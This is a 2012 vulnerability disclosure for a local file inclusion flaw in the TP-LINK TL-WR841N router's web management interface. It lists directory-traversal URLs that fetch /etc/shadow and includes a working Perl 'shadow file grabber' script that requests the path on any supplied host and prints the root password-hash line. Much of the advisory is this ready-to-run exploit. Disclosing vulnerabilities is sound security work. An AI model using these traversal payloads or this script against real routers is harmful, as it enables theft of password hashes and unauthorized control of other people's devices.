TP-LINK TL-WR841N Local File Inclusion Vulnerability

Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below Versions

Discovered Date: 24/10/2012
Author: Matan Azugi [matan@madsec.co.il]
Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N 

Details:

TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)
Vulnerability.
The vulnerability exists in Web-Based Management. The URL parameter is not
properly sanitized before being used.



Exploitation URL: 

 <http://192.168.0.1/../../../../../../../etc/shadow>
http://192.168.0.1/help/../../../../../../../../etc/shadow

Successful exploitation allows viewing the router configuration and password
files.

Proof of Concept Code: 

#TP-LINK TL-WR841N Shadow file grabber#

#built by Pulse matan@madsec.co.il#

#enjoy#

 

use LWP::UserAgent;

$host = $ARGV[0];

chomp($host);

if($host !~ /http:\/\//) { $host = "http://$host"; };

 

my $ua = LWP::UserAgent->new;

$ua->timeout(30);

$lfi = "/help/../../../../../../../../etc/shadow";

$url = $host.$lfi;

$request = HTTP::Request->new('GET', $url);

$response = $ua->request($request);

my $html = $response->content;          

if($html =~ /root/) {

print "root$' \n" ;

}